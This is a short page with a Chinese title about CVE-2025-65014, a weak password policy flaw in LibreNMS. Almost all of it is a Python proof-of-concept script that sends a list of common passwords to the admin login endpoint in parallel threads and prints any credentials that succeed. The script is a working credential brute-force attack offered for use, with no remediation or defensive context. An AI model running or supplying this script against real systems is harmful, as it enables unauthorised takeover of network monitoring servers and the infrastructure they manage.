CVE-2025-65014 LibreNMS用户管理弱密码策略漏洞

import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed # CVE-2025-65014 PoC - LibreNMS Weak Password Policy Brute Force # This PoC demonstrates the vulnerability where weak passwords can be exploited TARGET_URL = "http://target-host:8000" LOGIN_ENDPOINT = f"{TARGET_URL}/login" USERNAME = "admin" # Target username to brute force # Common weak passwords that exploit the vulnerability WEAK_PASSWORDS = [ "12345678", "password", "admin", "librenms", "123456", "admin123", "password123", "1234", "qwerty", "letmein" ] def attempt_login(username, password): """Attempt to login with given credentials""" try: session = requests.Session() # Get login page to obtain CSRF token if needed response = session.get(LOGIN_ENDPOINT, timeout=10) # Prepare login payload login_data = { 'username': username, 'password': password } # Attempt login login_response = session.post(LOGIN_ENDPOINT, data=login_data, timeout=10) # Check if login was successful (status code or response content check) if login_response.status_code == 200: if 'logout' in login_response.text.lower() or 'dashboard' in login_response.url: return True, password return False, password except requests.RequestException as e: print(f"[!] Request error: {e}") return False, None def main(): print(f"[*] CVE-2025-65014 PoC - LibreNMS Weak Password Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target Username: {USERNAME}") print(f"[*] Testing {len(WEAK_PASSWORDS)} weak passwords...\n") with ThreadPoolExecutor(max_workers=5) as executor: futures = {executor.submit(attempt_login, USERNAME, pwd): pwd for pwd in WEAK_PASSWORDS} for future in as_completed(futures): success, password = future.result() if success: print(f"[!] SUCCESS! Weak password found: {password}") print(f"[*] Login credentials: {USERNAME}:{password}") sys.exit(0) else: print(f"[-] Failed: {password}") print("\n[*] Attack completed. No weak passwords found.") if __name__ == "__main__": main()